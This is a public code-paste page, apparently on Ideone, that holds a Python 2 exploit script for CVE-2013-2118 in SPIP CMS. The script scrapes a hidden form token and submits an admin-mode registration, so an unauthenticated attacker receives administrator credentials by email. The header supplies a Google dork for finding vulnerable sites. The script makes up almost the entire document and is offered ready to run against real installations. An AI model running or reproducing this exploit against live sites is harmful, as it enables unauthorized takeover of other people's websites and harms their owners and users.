fork download
copy 
  1. # your code goes here
  2. #!/usr/bin/env python
  3. # Exploit Title: SPIP - CMS < 3.0.9 / 2.1.22 / 2.0.23 - Privilege escalation to administrator account from non authenticated user
  4. # Date: 04/30/2014
  5. # Flaw finder : Unknown
  6. # Exploit Author: Gregory DRAPERI
  7. # Email: gregory |dot| draperi |at| gmail |dot| com
  8. # Google Dork : inurl="spip.php"
  9. # Vendor Homepage: www.spip.net
  10. # Software Link: http://f...content-available-to-author-only...p.org/spip/archives/
  11. # Version: SPIP < 3.0.9 / 2.1.22 / 2.0.23
  12. # Tested on: Windows 7 - SPIP 2.2.21
  13. # CVE : CVE-2013-2118
  14. '''
  15. ---------------------------------------------------------------------------------------------------------
  16. Software Description:
  17. SPIP is a free software content management system
  18. ---------------------------------------------------------------------------------------------------------
  19. Vulnerability Details:
  20. This vulnerability allows remote attackers to create an administrator account on the CMS without being authenticated.
  21. To exploit the flaw, a SMTP configuration has to be configured on SPIP because the password is sent by mail.
  22.  
  23. '''
  24. import urllib, urllib2
  25. import cookielib
  26. import sys
  27. import re
  28.  
  29. def send_request(urlOpener, url, post_data=None):
  30.    request = urllib2.Request(url)
  31.    url = urlOpener.open(request, post_data)
  32.    return url.read()
  33.  
  34. if len(sys.argv) < 4:
  35.    print "SPIP < 3.0.9 / 2.1.22 / 2.0.23 exploit by Gregory DRAPERI\n\tUsage: python script.py <SPIP base_url> <login> <mail>"
  36.    exit()
  37.  
  38. base_url = sys.argv[1]
  39. login = sys.argv[2]
  40. mail = sys.argv[3]
  41.  
  42. cookiejar = cookielib.CookieJar()
  43. urlOpener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookiejar))
  44.  
  45.  
  46. formulaire = send_request(urlOpener, base_url+"/spip.php?page=identifiants&mode=0minirezo")
  47. print "[+] First request sended..."
  48.  
  49.  
  50. m = re.search("<input name='formulaire_action_args' type='hidden'\n[^>]*", formulaire)
  51. m = re.search("(?<=value=')[\w\+/=]*",m.group(0));
  52.  
  53.  
  54. formulaire_data = {'var_ajax' : 'form',
  55.                    'page' : 'identifiants',
  56.                    'mode' : '0minirezo',
  57.                    'formulaire_action' : 'inscription',
  58.                    'formulaire_action_args' : m.group(0),
  59.                    'nom_inscription' : login,
  60.                    'mail_inscription' : mail,
  61.                    'nobot' : ''
  62.                   }
  63. formulaire_data = urllib.urlencode(formulaire_data)
  64.  
  65.  
  66. send_request(urlOpener, base_url+"/spip.php?page=identifiants&mode=0minirezo", formulaire_data)
  67. print "[+] Second request sended"
  68.  
  69.  
  70. print "[+] You should receive an email with credentials soon :) "
Success #stdin #stdout 0.05s 11984KB
comments (?)
stdin
copy 
Standard input is empty
stdout
copy 
SPIP < 3.0.9 / 2.1.22 / 2.0.23 exploit by Gregory DRAPERI
	Usage: python script.py <SPIP base_url> <login> <mail>
https://ideone.com/9lvcK0
language:
Python (cpython 2.7.16)
created:
10 years ago
visibility:
public

Share or Embed source code

Discover > Sphere Engine API

The brand new service which powers Ideone!

Discover > IDE Widget

Widget for compiling and running the source code in a web browser!